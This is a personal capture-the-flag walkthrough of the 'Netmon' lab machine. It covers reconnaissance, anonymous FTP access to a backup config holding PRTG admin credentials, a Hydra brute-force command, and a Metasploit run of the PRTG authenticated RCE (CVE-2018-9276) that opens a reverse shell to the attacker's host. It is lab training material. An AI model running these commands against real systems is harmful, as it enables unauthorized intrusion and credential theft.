# Netmon

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FLQi4mQ9AxbVz1TXtuLea%2Fimage.png?alt=media\&token=d6d8c3ea-747a-4e8c-aa1c-3464b4dff848)

{% file src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F9Sn1QbtbkQ7zWBjU2lq3%2FNetmon.pdf?alt=media&token=d26092bd-22fd-4705-a852-0b1499fa791c" %}

## TARGET IP: 10.10.10.152

## HOST IP: 10.10.16.5

### RECON

#### NMAP

* Start with NMAP scan.

```
nmap [Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F2OPU3UaH2Q6TETHyNsQI%2Fimage.png?alt=media&#x26;token=88ca7063-954a-4c55-b3a8-9eeae408c0f2" alt=""><figcaption></figcaption></figure>

* More detailed NMAP scan.

```
nmap -A -p 21,80,135,139,445 [Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FZB2JgrFlp2v4ne12OT2w%2Fimage.png?alt=media&#x26;token=6a2f4771-9d82-45cb-9629-73f56df92d86" alt=""><figcaption></figcaption></figure>

* Items to note in scan:
  * FTP uses Microsoft FTP and allows for anonymous login wit what looks like a lot of directories available for browsing.
  * Port 80 is open with a title of PRTG Network Monitor (NETMON)
  * Port 445 is an SMB service with possible default credentials open.
* I decided to run a more thorough scan on Port 445 to see what versions of SMB are running to see if I can exploit any of them.

```
nmap -p 445 --script smb-protocols {TARGET IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FUQ8LJ8hAxctACIGFqF6h%2Fimage.png?alt=media&#x26;token=aa1519f5-2187-48f3-a9f3-3f85f472a593" alt=""><figcaption></figcaption></figure>

* This shows that `SMBv1` is allowed which isn't supported anymore due to the amount of vulnerabilities. Let's see if we can find any. See the exploits below.







#### FTP

```
FTP [Target IP]
Anonymous
<ENTER>
ls
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FH2SpLkPBRQ2jqb3te46U%2Fimage.png?alt=media&#x26;token=c91739cb-c517-4375-87e8-511cdf09dd94" alt=""><figcaption></figcaption></figure>

* Let's start by downloading any files not nailed down.
* For some reason the `.rnd` file couldn't be downloaded and viewing the file was just giving me garbage. Could be encoded.

```
get .rnd
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fe6CqmWQXpCvyKmc6OAEU%2Fimage.png?alt=media&#x26;token=1c2e9c1b-ae83-4edb-9204-3e1869a0035e" alt=""><figcaption></figcaption></figure>

```
less .rnd
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FU50o26RFUqiCXeiu5xrH%2Fimage.png?alt=media&#x26;token=4e282c2d-a883-4c2d-bf8c-2254b6551db9" alt=""><figcaption></figcaption></figure>

```
cd Users
cd Public
get user.txt
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FL4KwfoqoW3aWXhMMrcD6%2Fimage.png?alt=media&#x26;token=cb2b8dc6-1fac-4f4f-9dcd-05c78ec89948" alt=""><figcaption></figcaption></figure>

* On the host system open up the user.txt file for the flag.

```
cat user.txt
```

```
a9436db6e4461212b52f99f40c0767c5
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FYhCelHQBRbAKbuXFoJ8P%2Fimage.png?alt=media\&token=407640cb-0567-4d25-9016-ed40a6873857)

* It looks like I can't get access to any other good parts of the system without Administrator privileges.
* Digging around more I found some useful credentials in the `/Program Files (x86)/PRTG Network Monitor/cert` directory.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FQZdzwo4jXRHGYWevNlfW%2Fimage.png?alt=media&#x26;token=1bd6e365-c626-46a9-8a0d-23e1deb55216" alt=""><figcaption></figcaption></figure>

* This includes some keys for PRTG. However, after digging around, these look to be mainly used to secure communications and can't be used for login.
  * Maybe there is a way to monitor or capture traffic that we can then decrypt with the keys?
* I grabbed a Log file located on the \\`Program Files (x86)\PRTG Network Monitor\PRTG Setup Log.log` file and tried to `grep` some key words. I think I got a hit on the admin's email address:

```
get "PRTG Setup Log.log"
cat "PRTG Setup Log.log" | grep admin
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Ff9WP5Rbq4CB5JbMyrHQx%2Fimage.png?alt=media&#x26;token=7cb6aa79-84f2-4015-8da8-d1fab4ff308e" alt=""><figcaption></figcaption></figure>

* It looks like the admin's email address is `na@na.com`.
  * I have no idea what I can use this for unfortunately.
* Finally had to look up a hint. I fucking hate myself right now. Earlier on, I was trying to figure out if there was a way to see hidden files on the FTP server and didn't come across anything other than knowing what the hidden file is called.
  * I completely spaced on the fact that `ProgramData` is a hidden file on the root directory of Window's systems.
  * Here is a [website](https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data) that tells you where to find the `Data Directory` for the program as well. I just didn't bother trying to access it even though I couldn't see it.

```
cd ProgramData
cd Paessler
cd "PRTG Network Monitor

```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fqf2FBB2D4drMUrvzcdTO%2Fimage.png?alt=media\&token=82f2d707-bb23-4079-be44-9b7d2247f022)

* In a zip file I found a chunk of information pertaining to the user `prtgadmin`:

```
</dateformat>
                <email>
                  na@na.com
                </email>
                <fixed>
                  1
                </fixed>
                <grpfoldsize>
                  10
                </grpfoldsize>
                <homepage>
                  /welcome.htm
                </homepage>
                <lastlogin>
                  43522.1088048495
                </lastlogin>
                <login>
                  prtgadmin
                </login>
                <name>
                  PRTG System Administrator
                </name>
                <ownerid>
                  100
                </ownerid>
                <password>
                  <flags>
                    <encrypted/>
                  </flags>
                  <cell col="0" crypt="PRTG">
                    JO3Y7LLK7IBKCMDN3DABSVAQO5MR5IDWF3MJLDOWSA======
                  </cell>
                  <cell col="1" crypt="PRTG">
                    OEASMEIE74Q5VXSPFJA2EEGBMEUEXFWW

```

* Looks like the password get's encrypted but I wasn't able to decrypt it using Base64.
  * It's possible that I could use one of the keys I found to try to decrypt it with `openssl`.
* Screw that. I found a file called `PRTG Configuration.old.bak` and grabbed it.

```
get PRTG Configuration.old.bak
nano PRTG Configuration.old.bak
^W
prtgadmin
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FSb33Crc22j597dGumO5M%2Fimage.png?alt=media\&token=009086e4-f4aa-445f-9a91-ca305c9abd34)

```
PrTg@dmin2018
```

* That didn't work either.
* I fucking hate this lab right now. It's 12 at night. I have been banging my head on the table for 8hrs now and this is what it gives me. Lesson learned.
* I had to go back to the walkthrough again. Looks like I was in the right area but since this password didn't work, I should instead try variations on it.
  * I don't think I would have ever figured that out myself. I'll keep it in mind for next time but for fucks sake.
  * Let's try `PrTg@dmin2019`. Well, what do you fucking no. It worked.&#x20;
* Well, good thing I know how to exploit it from this point on. Now that I have a set of credentials, I can jump over to Metasploit to gain admin privileges. Check out the Exploit notes below.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F7tVwhlHNJhhko1fk4Hxr%2Fimage.png?alt=media&#x26;token=0e298031-125b-4a36-a7d0-777b3f27fcd7" alt=""><figcaption></figcaption></figure>



#### HTTP

* In your web browser:

```
http://[Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FVytRmDI5pxzw1AnYVEib%2Fimage.png?alt=media&#x26;token=508c564a-57aa-4c2f-b5ba-1c1bb9aa9a8f" alt=""><figcaption></figcaption></figure>

* Looks like we have a login page. Here is the wappalyzer.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FGmcj2ikESJJlRyUXKjjP%2Fimage.png?alt=media&#x26;token=5a9b422d-5fe0-4ad2-9d79-43c7e80c93c5" alt=""><figcaption></figcaption></figure>

* Checking out the source code for the page gives us some interesting information.
  * Unfortunately, nothing that really stood out.
* I googled some default [credentials](https://www.paessler.com/manuals/prtg/login) for the PRTG Network Monitor and got

```
prtgadmin:prtgadmin
```

* Unfortunately, none of these worked. I also tried some other usual credentials but no luck. I will come back to this in the enumeration.
* I've been beating my head on the table for a while on this one. I eventually checked out the `Forgot Password` link and tried the username credential above, `prtgadmin`.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F6q0HorJQ7s1r4eEUEXox%2Fimage.png?alt=media&#x26;token=688beb9f-f415-4d2d-9a53-ac8ce7e7c3af" alt=""><figcaption></figcaption></figure>

* When I try other usernames though, I get the following message. This means that there is definitely a username of `prtgadmin`.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F2aZYMy7Dn7cn0fbxYAx6%2Fimage.png?alt=media&#x26;token=4791c52c-c2ab-4e0c-9bee-b5f9c9d6bfc6" alt=""><figcaption></figcaption></figure>

* I attempted to use Hydra to brute force the password and came up with a lot of different answers which was wierd. Unfortunately, none of these worked.&#x20;

```
hydra -l prtgadmin -P [PATH TO WORDLIST] [TARGET IP] http-post-form "/public/login.htm:username=^USER^&password=^PASS^:Your login has failed. Please try again'!'"
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FeCqOKDMtQHxhjIngupwg%2Fimage.png?alt=media&#x26;token=35fa9170-014c-4eff-9e06-75f0a05dcb62" alt=""><figcaption></figcaption></figure>

###

### Enumeration

#### Gobuster

* No luck here for some odd reason.

```
gobuster dir -u http://[Target_IP]/ -w /usr/share/dirb/wordlists/common.txt
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FLkh7OLv5aQuDE6qfcgm0%2Fimage.png?alt=media&#x26;token=512674f0-a52f-4165-b671-05588e3deb21" alt=""><figcaption></figcaption></figure>

* I even tried excluding the error codes and wasn't getting anything back.

```
gobuster dir -u http://[Target_IP]/ -w /usr/share/dirb/wordlists/common.txt -e 302,404,500
```







### Exploit

#### PRTG

* I found an exploit to gain administrator privileges to the system through the PRTG account using [CVE-2018-9276](https://github.com/A1vinSmith/CVE-2018-9276). There is also a [Metasploit](https://www.rapid7.com/db/modules/exploit/windows/http/prtg_authenticated_rce/) exploit that can leverage this. However, I need to already be logged into an administrator account.
* The link above references a [CVE-2018-19410](https://nvd.nist.gov/vuln/detail/CVE-2018-19410#vulnCurrentDescriptionTitle) which allows you to create a new admin user account but I only found one written-down [POC](https://medium.com/@qdoan95/building-an-exploit-for-cve-2018-19410-1475f555f74c) and it unfortunately did not work for me.
* I gained credentials from browsing the FTP site.&#x20;

```
prtfadmin:PrTg@dmin2019
```

* Let's jump over to Metasploit to gain admin privileges.

```
msfconsole
search prtg
use exploit/windows/http/prtg_authenticated_rce
show options
set admin_password PrTg@dmin2019
set rhosts [TARGET IP]
set lhost [HOST IP]
exploit
```

* You should now have a Meterpreter reverse shell. Type the following to get a command shell and verify you are the Administrator.

```
shell
whoami
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F1eQLo5fFH4cKAar1KcQZ%2Fimage.png?alt=media\&token=5cda599b-af1c-4f1e-abe7-05a530e15ac5)





#### SMB

* Based on the NMAP scan it shows that SMBv1 is allowed.
  * I checked to see if it was vulnerable to EternalBlue but no luck using Metasploit.
  * I also check on a few others.
* I also tried logging into the SMBClient with the guest account as the NMAP scan showed it available but it looks as though it has been disabled.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FynfXfosWGo7VFs8f4Vf9%2Fimage.png?alt=media&#x26;token=d82480c2-3c79-46ac-ae5a-d98eb1fd86b5" alt=""><figcaption></figcaption></figure>

* Type the following to see the `root.txt` file.

```
type C:\Users\Administrator\Desktop\root.txt
```

```
adb0e6563ee3febfeb2f0f5ef82e9dcc
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fn7hQNDuHWS4Sv1LXoMuP%2Fimage.png?alt=media&#x26;token=4ed8aae4-04a6-413c-9638-4617d0ec598f" alt=""><figcaption></figcaption></figure>

























